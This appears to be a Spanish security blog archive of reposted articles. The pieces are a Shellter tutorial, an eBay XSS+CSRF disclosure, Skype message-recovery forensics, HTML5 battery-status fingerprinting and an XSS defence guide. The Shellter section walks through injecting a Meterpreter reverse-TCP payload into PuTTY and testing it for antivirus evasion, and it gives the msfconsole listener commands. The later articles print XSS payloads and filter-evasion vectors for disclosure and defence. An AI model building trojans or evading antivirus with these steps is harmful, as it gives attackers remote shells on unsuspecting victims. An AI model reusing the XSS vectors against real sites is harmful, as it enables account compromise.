sábado, 8 de agosto de 2015

Shellter: herramienta de inyección para evadir el antivirus




Shellter es una herramienta dinámica de inyección de shellcode . Puede ser utilizado para inyectar código shell en las aplicaciones nativas de Windows (Sólo 32 bits por el momento).


Puedes inyectar tu propio código o uno generado con un Framework, como Metasploit por ejemplo.
Shellter aprovecha la estructura original del archivo PE y no aplica ninguna modificación.


Para más información visita : shellter/project

Instalación
Lo primero que haremos es descargarlo desde su página oficial shellter/download. Es compatible con Windows , Linux y Mac (Usando wine) .

-Instalación en Kali Linux (si aún no tienes instalado Wine)

  1. apt-get update
  2. apt-get install shellter

-Instalación en BackBox

Primero hay que agregar los repositorios :

  1. nano /etc/apt/sources.list

Añadimos las siguientes entradas :
  1. deb http://ppa.launchpad.net/backbox/four/ubuntu trusty main
  2. deb-src http://ppa.launchpad.net/backbox/four/ubuntu trusty main



  1. apt-get update
  2. apt-get install shellter

-Instalación en Arch Linux:



  1. yaourt -Syy
  2. yaourt -S aur/shellter

Una vez instalado , la siguiente fase sería la ejecución .
Para ejecutarlo tecleamos "shellter" en la terminal , o "wine shellter.exe" para los que ya tienen instalado Wine .
Una vez ejecutado , elegimos la opción "Automatique"  (A).




Después indicamos la ruta del archivo al que queremos inyectar el shellcode . Yo utilisaré Putty.



Ahora tenemos que indicar si queremos configurar un payload o elegir uno de la lista que nos propone Shellter. Podemos elegir la opción "L" (Listed) si queremos utilizar uno que ya aparece en la lista , "C" (Configure) para configurar o manualmente .



Vamos a teclear (L)
Después seleccionamos el payload que vamos a utilizar . Yo elegiré el primero (Meterpreter_Reverse_TCP) .


A continuación indicamos nuestra dirección IP y el puerto de escucha.

Y ya habremos terminado con Shellter .
Bueno ahora vamos a escanear nuestro archivo , en NoDistribute por ejemplo (Recomendado) .
Resultado

OK , sólo nos queda configurar el "listener".
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport xxx
exploit



En mi máquina de prueba , dotada de 1 un antivirus , voy a ejecutar mi archivo (putty) . Y como me lo esperaba , no salta ninguna alerta y se ejecuta sin problema .


Fuente, información y video demo  en Underc0de

Fuente: http://blog.underc0de.org/2015/08/shellter-herramienta-de-inyeccion-para.html

Hackeando eBay (Validación javascript + XSS + CSRF)

Como todos los sistemas que basan su actividad principal en el movimiento de dinero entre sus clientes, eBay es un lugar muy atractivo para un ciberdelincuente. Un XSS persistente como el que se va a detallar en este post es todo lo que se necesitaría para poder comprometer las acciones y la información de otros usuarios, y sacar provecho material con ello. A pesar de esto, eBay es ya famoso por tomarse con calma los reportes de seguridad y a su equipo le llevó unos ocho meses arreglar el problema desde su comunicación en agosto de 2013. En abril de 2014, después de solucionarse, fui finalmente añadido a su página de agradecimientos "Responsible Disclosure Acknowledgements".

El fallo de seguridad se debe a la concatenación de tres errores en serie. En mi opinión, es un buen ejemplo de cómo algunos problemas pueden no ser demasiado peligrosos ni complicados de explotar de forma aislada, pero juntos pueden dar un buen dolor de cabeza.

Validación javascript

En busca de algún fallo XSS, lo primero que intenté fue introducir algunos caracteres como ", <, >, ', etc. en la creación de nuevas carpetas del sistema de mensajes privados de eBay. Al hacer esto, se mostraba el error "Escribe un nombre de carpeta válido". Sin embargo, llamaba la atención que al enviar uno de estos caracteres problemáticos no se reflejaba ninguna petición web en el historial del navegador, lo que indicaba que la validación se estaba produciendo en el lado del cliente por medio de javascript. Aunque tengamos constancia de que se está produciendo una validación javascript que podríamos saltarnos fácilmente, esto no quiere decir que no haya una segunda validación en el servidor que nos pare los pies.

(¿Self?) XSS

Armado con un proxy, capturé la petición que enviaba mi navegador tras especificar un nombre de carpeta válido, y modifiqué el valor del parámetro por algo “inválido” más interesante como <script>alert(/XSS/)</script>. Ante mi sorpresa, al refrescar la bandeja de entrada apareció la alerta javascript, lo que confirmaba que no se producía ninguna validación del parámetro en el servidor:


XSS en nombres de carpetas
Ok, tenemos un fallo XSS, pero de momento es un triste Self-XSS que solo podemos explotar en nuestra propia cuenta. Para que esto fuera realmente peligroso, necesitaríamos poder crear carpetas de mensajes en las cuentas de otros usuarios sin su permiso y colarles nuestro código javascript en los nombres de carpeta. Uff, ¿estaba pidiendo mucho? Merecía la pena comprobarlo...

Self-XSS + CSRF = Owned!!

Una posibilidad para poder crear carpetas en cuentas ajenas, es que existiera un fallo de tipo CSRF. Si analizábamos la petición, nos fijamos en que existían dos candidatos a aguarnos la fiesta como tokens anti-CSRF: stok y pId:



Petición de creación de carpeta
Sin embargo, para mi segunda sorpresa, cualquier valor de estas variables era válido en una petición exitosa.

Debido a los tres fallos (validación de parámetros en cliente, self-XSS y CSRF), finalmente podemos construir una página maliciosa que fuerce la creación de una carpeta en la cuenta de otro usuario, y ejecutar código javascript arbitrario en su navegador:


eBay solucionó el problema de XSS mostrando las entidades html correspondientes para los caracteres especiales, e incluyendo un nuevo parámetro "srt" como token anti-CSRF dentro de la cadena JSON codificada del parámetro "request".

¡Un saludo!

Fuente: http://www.lachisterablanca.com/2015/05/hackeando-ebay-validacion-javascript.html

viernes, 7 de agosto de 2015

Recuperar mensajes borrados en Skype

 Hace no demasiado he leído el artículo en DragonJar sobre cómo realizar un análisis forense a una aplicación Skype utilizando una pequeña utilidad llamada Skype Forensic. Este programa busca los ficheros de la aplicación en un equipo y los analiza para sacar las conversaciones y los contactos que allí han tenido lugar.
Figura 1: Skype Forensic
La mayoría de los datos que almacena Skype son guardados en bases de datos SQLite, con lo que es posible verlos manualmente con cualquier visor aunque esta herramienta simplifica un poco esta tarea y saca, por ejemplo, todas las conversaciones que han tenido lugar.
Figura 2: Tabla Chats de la Base de datos main.db de Skype 

La gracia de Skype es que al ser un SQLite, aunque se borren los mensajes de la tabla que los almacena, estos quedan en páginas borradas de la base de datos, por lo que un análisis a bajo nivel podría recuperar la información que allí se encuentra.
Figura 3: Borrado de un mensaje de Skype en una conversación en OS X
En la base de datos principal de cada cuenta de Skype del sistema, que se encuentra dentro de una carpeta con el nombre de usuario, hay una base de datos SQLite llamada main.db. Dentro de esta base de datos - extraíble desde un terminal AndroidiPhone, un Mac OS X o un sistema Windows, hay una tabla llamada Conversations que mantiene los hilos de las conversaciones y otra llamada Chats, donde se almacenan los mensajes enviados.
Estos mensajes pueden ser borrados, y dentro de la app se verá que el mensaje ha sido borrado porque en el hilo aparecen saltos en los mensajes, pero utilizando una recuperador de páginas perdidas en SQLite es posible sacarlo.
Figura 4: Visualización de mensaje borrado en Skype
Esta tarea es posible hacerla con Recover Messages, ya que no solo vale para reccuperar los mensajes borrados de WhatsApp, SMS o Line, y al igual que ya vimos que se podía hacer para sacar los ficheros borrados de la base de datos wc.db de Subversion, se puede utilizar para sacar las conversaciones borradas de Skype.
El funcionamiento es sencillo, se sube el fichero, se analiza, y en Raw Data se podrán ver los datos recuperados en bruto.
Figura 5: Raw Recovered data de una base de datos de Skype en Recover Messages
Si se analiza el fichero completo, se puede descargar un fichero con todos los datos recuperados, dónde se podrán ver las conversaciones borradas por el usuario en Skype aunque no aparezcan en la visualización del la base de datos con un visor SQLite.
Figura 6: Un ejemplo de una base de datos de Skype analizada con Recover Messages
Si algún día te topas con un análisis forense de Skype, ten presente que no basta con analizar sólo la base de datos, y que haciendo una inspección a bajo nivel tal vez sea posible sacar más información de la que se ve a simple vista.
Saludos Malignos!

Fuente: http://www.elladodelmal.com/2013/09/recuperar-mensajes-borrados-en-skype.html

Cómo te pueden espiar con "Battery Cookies" en HTML 5

 Con la llegada de la movilidad al mundo de la informática de usuario hace ya algunos años, cada vez más gente utiliza equipos portátiles y dispositivos móviles para navegar por Internet. Yo hace tiempo que no tengo un equipo PC de sobremesa y tiro únicamente con equipos portátiles - sí, esos de pegatinas que uso en muchas charlas -. La razón es que existiendo la posibilidad de tener todas las máquinas que quieras en servidores en cloud, y pensando en la cantidad de días que viajo yo al año, hace tiempo que dejo de merecerme la pena montarme grandes servidores anclados a una ubicación física. Y todos estos equipos portátiles cuenta con batería que los mantiene vivos cuando estoy desconectado y que se pone en modo de recarga cuando estoy conectado a la corriente eléctrica.
Figura 1: Cómo te pueden espiar con "Battery Cookies" en HTML 5
Lo curioso de toda esta historia viene porque en HTML 5, conjunto de tecnologías utilizadas hoy en día para la creación de aplicaciones avanzadas en Internet, se pueden hacer infinidad de cosas. Muchas de esas cosas con un alto consumo de recursos en el sistema, y por tanto, que pueden hacer que la batería se gaste más  o menos. En HTML 5 puedes crear multitud de procesos en cliente, gestionar bases de datos, el almacenamiento de ficheros, estructuras de caché local, websockets de comunicación que se pueden utilizar tanto para crear ataques de padding en conexiones HTTPs como para crear sistemas de autenticación en aplicaciones que no dependan de cookies en lado del cliente sino de sockets autenticados en el lado del servidor. Infinidad de cosas que, por supuesto, además pueden tener que ver con la privacidad y seguridad de los sistemas.
Una de las cosas que se puede hacer en HTML 5 es acceder a información del estado de la batería, ya que como os podéis suponer, una aplicación compleja podría suponer un alto consumo de batería en el cliente y tal vez arruinar la experiencia de usuario. Con esta información, el programador de un sitio podría adaptar el funcionamiento completo de la aplicación para ser más responsable con el gasto energético de un sitio si el equipo está desconectado de la red eléctrica o con poca carga de batería. Para eso se crearon estas funciones en HTML 5 que permiten, sin necesidad de solicitar ningún permiso al cliente, acceder a esta información de la batería.
Información de la batería y Privacidad de usuarios
Por otro lado, el tener información del estado de la batería de un dispositivo cliente es dar al dueño de un determinado sitio web un canal paralelo de acceso a información del cliente. Esta información, podría pasar a formar parte de las técnicas de WebBrowsing Fingerprinting para conocer más sobre el cliente y, como ya vimos en el caso de PowerSpy, llegar incluso a permitir a un sistema conocer la ubicación GPS de un dispositivo móvil con solo conocer la curva de consumo de batería de un terminal móvil.
Figura 2: Esquema de funcionamiento de PowerSpy
En el caso de una aplicación web que se acceder mediante HTML 5 a la información de la batería de un cliente, los datos que se obtendrán serán más o menos precisos dependiendo de la implementación de la API para "Battery Status" que hayan programado los ingenieros de los diferentes navegadores de Internet. Para el sitio web es suficiente con invocar el método de navigator.getBattery() para conseguir un objeto de tipo BatteryManager al que poder preguntar por información sobre su nivel de carga, el tiempo estimado de carga si está cargando o el tiempo estimado de descarga si está desconectado de la red. 
Con estos datos se puede llegar a perfilar a un equipo concreto, tal y como ha realizado un grupo de investigadores. Todo esto ha sido publicado en un paper titulado "The Leaking Battery" donde explican en detalle cómo se podrían utilizar estos datos para crear un cookie de seguimiento temporal que permita reconocer a un equipo entre el resto con un alto grado de fiabilidad.
Figura 3: Paper "The Leaking Battery: A Privacy analysis of the HTML5 Battery Status API"
El artículo explica que este perfilado se puede hacer de igual forma en todos los navegadores gracias a esta API, pero que esto era especialmente importante y peligroso en los navegadores Mozilla Firefox para sistemas GNU/Linux. Esto se debe a que en ellos la función de la API getBattery() tira de la que le provee el daemon UPower del sistema operativo y que la precisión de los resultados que este ofrece es un tipo Double cuando se accede al valor de carga de la batería y que se obtiene en función de las siguientes ecuaciones.
Figura 4: Ecuaciones para el cálculo de BatteryLevel
Conocido esto, y mezclando los valores que se obtienen con la API en HTML 5 para acceder a la información de la batería relativos al Level (nivel de carga de la batería), junto con los tiempos de carga o descarga estimados, se puede crear una especie de cookie temporal que durante un tiempo haga único a un determinado navegador. Es decir, durante un determinado tiempo se puede estimar que el nivel de carga y el tiempo estimado de carga/descarga de un equipo lo hace único. Esto no permitiría hacer un tracking de navegación a largo plazo, pero sí hacer una conexión puntual que pueda utilizarse para restaurar, por ejemplo, EverCookies o HSTS SuperCookies que hubieran sido borradas.
Las cookies de seguimiento de acciones de usuario
Adía de hoy existen diferentes métodos para crear cookies en el navegador sin necesidad de utilizar el tradicional Cookie Jar con que se gestionan las cookies "normales". Las técnicas de seguimiento de actividad en la web han ido evolucionando para permitir a las compañías que puedan conocer cuanto más posible de la navegación de sus usuarios.

Figura 5: Esquema de recogida de datos de navegación de usuarios por Facebook

Llevado a extremos, hemos visto como empresas como Facebook o Google se han visto envueltas en escándalos justo de eso, de seguimiento más allá de del uso tradicional de las cookies. Algunos de estos escándalos saldados con multas millonarias y otros por saldar.

Figura 6: Creación de "cookies" sin usar cookies por medio de eTags
Para seguir la navegación y actividades de los clientes se han ido desarrollando técnicas distintas, que pueden utilizar las etags usando la caché de imágenes de un navegador, utilizando las famosas EverCookies con un buen montón de trucos como usar la base de datos local en HTML 5, las cookies de plugins en el cliente como Adobe Flash, Silverlight y similares, e incluso técnicas más modernas como las HSTS Supercookies que utilizan el protocolo HSTS para generar un ID único en base al TTL de una petición de forzado de conexiones HTTPs
Cookie Sync / Cookie Respawn
Por desgracia para los sitios que hacen tracking, todas esas cookies, EverCookies o HSTS Supercookies, podrían ser borradas por un usuario, por lo que una de las cosas en las que se trabaja es en el famoso Cookie Sync o Cookie Respawn. Es decir, se trata de técnicas que le permitan al servidor saber que una cookie ha sido borrada y volver a recrearla. Para ello se utilizan diferentes trucos que van siendo investigados.
Figura 7: Gráfico de Cookie Respawn en EverCookies
Las EverCookies, por ejemplo, lo que hacen es copiar la misma cookie en todos los sitios en los que sabe guardar información (cookies de Adobe Flash, cookies de Microsoft Silverlight, BBDD local en HTML 5, etc...) y una vez que hay una conexión desde un cliente mirar en todos esos lugares a ver si la cookie existiera en alguno de ellos. Si la encuentra en uno solo de esos, entonces la recrea en todos los demás para conseguir que sea muy complicado de erradicar manualmente una cookie.
Figura 8: Plugin BleachBit para borrar EverCookies en Mozilla Firefox
Sin embargo podría suceder que las EverCookies no fueran suficientes por sí mismas. Supongamos ahora que este usuario es uno que sabe como eliminar las evercookies de todas sus ubicaciones - como Jeremiah Grossman - o que utiliza un plugin del navegador para matar las EverCookies como por ejemplo como BleachBit que le permite borrar cualquier información que pudiera quedar en el cliente relativa a la cookie. En esos caso hay que buscar otras formas de reconocer al cliente guardando información en algún servidor.
Figura 9: Cookie Sync de EverCookies utilizando WebBrowsing Fingerprinting en Pixel Perfect
Una de las técnicas que se utilizan es de asociar una EverCookie a la huella digital de la conexión del cliente, es decir, a un hash único del WebBrowsing Fingerprinting del dispositivo de navegación, utilizando la suma de muchas técnicas de fingerprintig - como la de Pixel Perfect - para reconocer a un mismo cliente y recrearle las EverCookies en cada nueva detección. El gráfico de la Figura 9 muestra el resumen del Cookie Sync utilizado en las técnicas de Pixel Perfect.
Cookie Respawn usando Battery Cookies
Y es en este punto donde entran estas "Battery Cookies". Es decir, el reconocimiento de un cliente por la huella temporal del estado de la batería que tiene, extendiendo mucho más allá las técnicas de Cookie Sync explicadas antes. Supongamos que un usuario visita un Sitio 1 y éste le mide lo valores de la batería, además de generarle por primera vez una EverCookie usando todos los trucos explicados en el apartado de antes. Ahora este usuario, o bien manualmente, o bien haciendo uso del algún plugin borra toda la información de las EverCookies.
Figura 10: Esquema de "Battery Cookies" para hacer un EverCookie Respawn
Pues bien, en ese caso lo que haría el Sitio 2 es descubrir que no hay ninguna EverCookie, pero como también puede medir los valores de la batería, puede por tanto preguntar a un Tacking Server si hay alguna EverCookie reciente almacenada en él para esos valores de batería (con el Time-To-Live sin caducar). Si esto es así, entonces puede recuperar la EverCookie y volver a guardarla en el cliente, además de guardar todos los datos actualizados de navegación y volver a regenerar el TTL de la huella de batería y la EverCookie.
A día de hoy, Mozilla Firefox ha parchado sus funciones durante el mes de Junio, reduciendo la precisión de los resultados que se obtienen, pero aún así, estas técnicas dan un factor más que pueden usarse para hacer WebBrowsing Fingerprinting más complejo, calcular la huella digital de una conexión y hacer un seguimiento de los usuarios en un esquema como el descrito en la figura de las técnicas de Pefect Pixel.

Saludos Malignos!

Fuente: http://www.elladodelmal.com/2015/08/como-te-pueden-espiar-con-battery.html

Combatiendo el Cross Site Scripting

Luego de ver los diferentes tipos de ataques utilizando XSS y convencerlos (espero) de que es extremadamente peligroso cuando es explotado por alguien que sabe, es hora de dar algunas recomendaciones para evitar al máximo este tipo de ataques.
En un principio pensaba dar recomendaciones de programador, pero también es interesante la parte de como defendernos siendo usuarios finales de una página, dado que no podemos confiar en la mayoría de los "programadores" que andan dando vueltas, porque no conocen ni medio de seguridad (es una lástima, pero es así). Arranquemos así con lo que podemos hacer desde nuestra posición de usuarios web.


Trust no one

Nunca mejor aplicada esta frase de X-Files, cuando se trata de navegar por la Web, no podemos confiar en nadie, ni siquiera en nuestros amigos. Por esto, lo mejor es estar prevenidos y tener en cuenta algunos consejos para no ser víctimas del XSS. Estos consejos se aplican a ataques en general, aunque en me esté focalizando en XSS.

El primer paso a dar es utilizar un browser decente. La mayoría de la gente sigue utilizando damn vulnerable Internet Explorer, incluso versiones extremadamente vulnerables como la 6 que no proveen mucha ayuda al pobre navegante. Es verdad que Microsoft ha mejorado mucho con su browser en los últimos años, no leo sobre muchos exploits para la versión 8, pero las versiones 6 y 7 siguen siendo grandes víctimas y tienen gran presencia en la web. Por supuesto que no sólo IE es un gran problema, todos los browsers cuentan con su lista negra de errores, las versiones 1 y 2 de Firefox no ayudan mucho en cuanto a prevenir XSS. Por supuesto que Opera, Safari y Chrome también arrastran sus problemas.
Mi elección es utilizar Firefox 3+ con algunos complementos que nos ayuden a distinguir XSS. Chrome tiene un gran futuro, pero creo que todavía está bastante verde.

Los agregados pueden darnos una buena mano para prevenir ataques. NoScript para Firefox es un excelente ejemplo. Este agregado bloquea contenido JavaScript, Flash, Java y otros, permitiéndonos elegir qué páginas tienen permitido ejecutar qué. Además reconoce diferentes ataques y los bloquea, reportándolos al usuario. Internet Explorer 8 cuenta con filtros XSS que intentan acercarse a la funcionalidad de NoScript, aunque por ahora parecen estar basados solamente en listas negras con ataques conocidos.
Otro add-on interesante es Netcraft Anti-Phishing Toolbar disponible para Firefox e Internet Explorer que nos permite identificar sites que intentan robarnos información. Actualmente tanto Firefox como IE incorporaron una funcionalidad muy similar, así que tal vez no es tan útil como hace un tiempo.

El siguiente paso sería desactivar toda feature que no utilicemos. Existen múltiples formas de ejecutar ataques a través de tecnologías que muchas veces no utilizamos. Entre las más conocidas podemos encontrar JavaScript, ActiveX, Flash, Java, etc. La regla del pulgar nos dice, si no lo usamos, desactivemoslo. Es verdad que muchas páginas pueden no funcionar, pero al menos deberíamos poder bloquear selectivamente por página. NoScript nos da una gran mano para realizar esta tarea.

No clickear a lo tonto en todo lo que nos mandan. El comportamiento por defecto debería ser, desconfiar de todo link recibido por mail, foro, blog, red social, etc. Si la URL es muy larga, ya es algo muy sospechoso, y si incluye las palabras script o hacen referencia a algún script, es algo mucho más sospechoso. También son sospechosas las direcciones codificadas usando url, decimal o hexa encoding.
Tampoco deberíamos seguir links codificados con tinyurl o algún otro servicio de acortamiento de urls. Estos links podrían llevarnos a cualquier lado sin que nos enteremos. Existen algunos sites que nos permiten decodificar estas URLs pequeñas y ver de qué tratan realmente. Algunos ejemplos son http://longurl.org/ o http://kiserai.net/turl.pl


Programación Web Segura

Luego de tirar algunos consejos sobre cómo actuar al navegar por la red, nos metemos con la programación Web segura o "lo que diferencia un buen programador de uno mediocre". Si bien en un principio parece fácil solucionar este problema, existen más vueltas de las que uno se imagina. Por suerte, como cité en el primer artículo, existen algunas páginas con ejemplos para probar e imaginarnos cómo un atacante puede "encontrarle la vuelta" y vulnerar nuestro site.

El principio básico para evitar el XSS es el bien conocido "validar la entrada y filtrar la salida". Este principio que se aplica a todos los problemas de programación se usa poco y sin embargo nos salva de mucho. En el caso del XSS puede elegirse "validar la entrada" o bien "filtrar la salida", cada uno con sus ventajas y desventajas. Validar la entrada implica revisar todo lo ingresado por el usuario, mientras que filtrar la salida implica revisar sólo lo que se expone en la página, osea, si no todo se expone en la página, solo se debe filtrar una parte de todo lo ingresado. El problema con filtrar la salida es que quedan almacenados datos mal formados en bases de datos o archivos, algo que puede afectarnos si va cambiando la política de filtrado en la programación, pero los datos quedan intactos en los servers.
El consenso general es validar la entrada y evitarnos problemas futuros, además, filtrar la salida implica analizar los datos cada vez que se van a mostrar, mientras que validarlos a la entrada hace que el trabajo se realice una sola vez.
La mayor ventaja del filtrado de salida es que en esta etapa se sabe dónde se van a incluir los datos, es decir, no es lo mismo incluir los datos en el HTML que en una porción de código JavaScript, el tipo de filtrado puede cambiar en ambos casos. Por otro lado, qué sucede si el sistema que valida la entrada tiene un agujero en la validación y permite que algunos ataques pasen? una vez que los datos se almacenaron, quedan ahí... por más que parchemos el validador, los datos que ya pasaron seguirán estando y el ataque persistirá. Si por el contrario, usamos filtado de la salida y se descubre un bug en los filtros, una vez que lo parchamos, estamos salvados.

Leyendo todo esto, uno puede creer que lo mejor es implementar ambos controles, a la entrada y a la salida. Bueno, eso es cierto, sería ideal que el encargado de mostrar los datos no confíe para nada en los datos que tiene, y que el validador de la entrada haga su mejor esfuerzo pora que no pasen porquerías al almacenamiento. El problema, como siempre, es el agregado de procesamiento, algo que en un sistema con mucho tráfico nunca es deseado.

Una vez que tenemos decidido si validar la entrada o filtrar la salida, o ambos, debemos poner manos a la obra.


Escapando caracteres claves

Lo primero que viene a la mente cuando hablamos de inyección XSS es evitar los benditos delimitadores de tag "<" y ">", además de comillas simples y comillas dobles, que permiten ciertos trucos. Hay dos opciones para hacer esto, eliminamos estos caracteres o los codificamos de forma que el browser los interprete como texto. Existen varias formas de codificar estos caracteres para que el browser los interprete como texto y no como parte del HTML. Veamos cómo codificar los 5 caracteres más relevantes (llamados "big 5" en algunos lugares) y la barra hacia delante (usada para cerrar tags):

CaracterCodificacion HTMLCodificación HexaCodificación Decimal
&&amp;&#x26;&#38;
"&quot;&#x22;&#34;
'&apos;&#x27;&#39;
<&lt;&#x3c;&#60;
>&gt;&#x3e;&#62;
/&#x2F;&#47;

Esto quiere decir que si el usuario ingresa un >, nosotros deberíamos colocar un &gt; (o &#x26; o &#38;) en su lugar, para que no se interprete como código HTML. Por lo que he leído, algunas codificaciones en hexa o decimal pueden verse distintas en algunos browsers según la codificación de caracteres utilizada (UTF-8, ISO 8859-1, etc), así que recomendaría utilizar la codificación HTML.
Piensen ahora en alguno de los ejemplos anteriores, si antes el resultado de una inyección era:

Usuario: <B><SCRIPT>alert('XSS');</SCRIPT></B>
escapando los tags obtendremos:

Usuario: <B>&lt;SCRIPT&gt;alert(&apos;XSS&apos;);&lt;/SCRIPT&gt;</B>
Como se ve, el código actual no ejecutaría ningún alert, sino que mostraría el código en la pantalla (como debería ser).

En muchos lenguajes existen funciones implementadas para realizar el trabajo de cambiar un caracter por su equivalente HTML, o bien para eliminar estos caracteres. A continuación les dejo algunos ejemplos:

PHP

- htmlentities nos ayuda a codificar los caracteres citados (utilizar la opción ENT_QUOTES para codificar comillas simples también).
- strip_tags nos permite eliminar tags de un dado string.

ASP.NET

- HttpUtility.HtmlEncode nos da una mano codificando HTML.
- No encontré una función para eliminar tags, pero si una solución interesante en el foro http://forums.asp.net/t/901364.aspx:
System.Web.UI.HtmlControls.HtmlGenericControl htmlDiv = new System.Web.UI.HtmlControls.HtmlGenericControl("div");
htmlDiv.InnerHtml = htmlString;
String plainText = htmlDiv.InnerText;

- ASP también cuenta con un parámetro seteable en el Web.config (o incluso en Machine.config) que valida la entrada y nos arroja una excepción cada vez que un parámetro contiene entidades HTML. Este parámetro se llama validateRequest. Si está en false, no se valida nada, pero si está en true ASP hace su magia. Eso sí, después capturen la excepción, porque vi varios ejemplos donde la página arroja un error horrible que el usuario no debería ver...
Pueden leer un poco más sobre validateRequest en http://www.asp.net/(S(ywiyuluxr3qb2dfva1z5lgeg))/learn/whitepapers/request-validation/

JSP

Al parecer a la gente de Sun no le resultó interesante incorporar una función para codificar caracteres especiales (ni para eliminar tags), así que Java no incluye entre sus librerías default una función que haga el trabajo. Por suerte en una entrada de la página de OWASP encontramos una función que haga el trabajo.

Como se pueden imaginar, si no contamos con funciones empaquetadas con el lenguaje (como el caso de java) siempre podemos construir nuestra función para codificar o eliminar tags. Eso si, hay que tener cuidado en la forma en que armamos expresiones regulares para eliminar tags, dado que algunas pueden no ser muy efectivas.


Escapando lo anterior estamos salvados?

Muchos autores han dicho (y muchos siguen diciendo) que si escapamos los "big 5" estamos a salvo del XSS... bueno, me apena decirles "WRONG!".
Dependiendo la situación en la que nos encontremos, no es estrictamente necesario utilizar los caracteres antes citados. En muchos casos nos basta con utilizar un event handler (manejador de eventos) como onClick, onError, onMouseOver, etc (existen casi 100 manejadores de eventos). Consideren un ejemplo donde el usuario decidió no cumplir con el estándar HTML y armó el siguiente código en php:
<INPUT TYPE=TEXT SIZE=30 NAME=search VALUE=<?php if(isset($_GET['user'])) print "<B>".$_GET['search']."</B>" ?> />

este es el clásico ejemplo del buscador (ja, ya parece nombre de ejemplo de libro de sistemas operativos). Como ven, el usuario no usó ninguna comilla, pero aún así, el código es válido para la mayoría de los browsers. Ahora, el usuario malo, podría ingresar lo siguiente en el campo de búsqueda: "nada onMouseOver=alert(String.fromCharCode(88,83,83))" (sin las comillas). El resultado HTML de la ejecución del código php será:
<INPUT TYPE=TEXT SIZE=30 NAME=search VALUE=nada onMouseOver=alert(String.fromCharCode(88,83,83)) />

ahora, cuando el usuario coloque el mouse sobre el campo de búsqueda, saltará el alert.
Observaron algo en el ejemplo? para el exploit no utilicé ninguno de los "big 5"!!! Tal vez se preguntan qué es la función String.fromCharCode. Esta función se encarga de obtener un caracter a partir del código ascii en decimal, el 88 representa la X y el 83 la S. De esta forma, no necesitamos incluir la comilla simple para el alert. Otra forma que también funciona es colocar "nada onMouseOver=alert(&quot;XSS&quot;)" donde usamos las comillas HTML codificadas.

Otro ejemplo es el de programadores totalmente kamikazes que se encargan de meter datos ingresados por un usuario en una función JavaScript! Si bien este código no debe estar necesariamente HTML escapeado, debería estar JavaScript escapado para no ejecutar código ingresado por el usuario. Un ejemplo rápido que se me ocurre, es el caso que queremos cambiar el color de una opción seleccionada por el usuario (tal vez un menú con varias opciones), por ejemplo:
<input type="button" id="home" value="home" onClick="window.location.href='test.php?opcion=home'" />
<input type="button" id="guest" value="guest" onClick="window.location.href='test.php?opcion=guest'" />
<?php echo $_GET['opcion']; ?>
<script>
    var opcion = '<?php echo $_GET['opcion']; ?>';
    if (opcion == "home")
    {
      document.getElementById('home').style.backgroundColor = "green";
      document.getElementById('guest').style.backgroundColor = "red";
    }
    else if( opcion == "guest")
    {
      document.getElementById('home').style.backgroundColor = "red";
      document.getElementById('guest').style.backgroundColor = "green";
    }
</script>

El código anterior simplemente cambia el color de fondo del botón apretado, basándose en la opción seleccionada, la cual obtenemos de la URL. Ahora, que pasa si en la variable opción colocamos lo siguiente: "la'; alert('XSS'); //" el resultado en la variable anterior será:
var opcion = 'la'; alert('XSS'); //';
es decir, cerramos la asignación a la variable opción, luego ejecutamos un alert y comentamos el resto. Esto sin usar los delimitadores de tags, ni comillas dobles, ni ampersand, aunque sí comillas simples, pero si tenemos en cuenta que htmlentities por defecto no codifica comillas simples, podríamos correr riesgos aún usando esa función.
Vale aclarar que si tenemos habilitado el atributo magic_quotes de php, éste agregará back slash ("\") a las comillas y puede que el ejemplo no funcione. Igualmente existen formas para escapar los escapadores.


Y si quiero texto enriquecido?

Aca es donde empiezan los problemas mayores...
En muchos casos deseamos que el usuario pueda ingresar texto con formato, así que tal vez nos gustaría que puedan usar los tags <b> (negrita), <i> (cursiva), <a href> (links), <img> (imágenes), etc. Para este tipo de aplicaciones, no podemos utilizar una función que nos elimine todos los tags, sino que debemos hacer una eliminación/codificación selectiva...
Las cosas se pueden poner realmente feas dependiendo de lo que deseamos permitir. Recuerden que prácticamente ningún tag está a salvo de scripting, por ejemplo, en IE el código <B STYLE="xss:expression(alert('XSS'))"></B> les mostrará un alert...
Para arrancar, la política default debe ser: escapar/borrar todo tag a menos que esté explícitamente permitido (whitelist). Ahora, de los tags permitidos, debe hacerse un examen en busca de código potencialmente malicioso, o bien tener un formato predefinido de tag. Por ejemplo, si lo único que queremos permitir es el tag <B>, no deberíamos permitir cosas como <B STYLE="xss:expression(alert('XSS'))">. Hay que tener especial cuidado con el tag <IMG>, como pueden observar en la lista de RSnake, las cosas que se pueden hacer son muchas. Incluso armando expresiones regulares para buscar cosas como la palabra javascript en el código puede ser difícil. Por ejemplo, tal vez deseamos evitar que alguien ingrese lo siguiente:
<IMG SRC="javascript:alert('XSS');">
pero también deberemos escapar cosas como:
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
o cosas más oscuras como:
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Los ejemplos anteriores funcionan solamente en IE 6 y Opera 9, pero hay que tener en cuenta la cantidad de usuarios (me animaría a decir millones?) que todavía utilizan IE 6...

Una buena recomendación es armar el texto resultante a partir de un formato fijo según lo ingresado por el usuario, y no dejar directamente lo que el usuario ingresó. Por ejemplo, si el formato de salida será <IMG SRC="http://algo">, no importa que el usuario ingrese <IMG SRC="http://algo" width="0" height="0" style="width:100px; height: 100px;" alt="">, el resultado será siempre <IMG SRC="http://algo">. También debería verificarse que el argumento SRC sea válido, esto es, que sea una referencia a una imagen y no un script.

Como se irán dando una idea, habilitar algunos tags trae varios dolores de cabeza. Por suerte existen algunas librerías creadas para tal fin. Una interesante es PHP Input Filter que ha sido premiada por su labor. Otros esfuerzos interesantes son el proyecto OWASP ESAPI que soporta los lenguajes Java, .NET, PHP, Classic ASP, Cold Fusion, Python, and Haskell, y AntiXSS para ASP.NET.


6 reglas de oro by OWASP

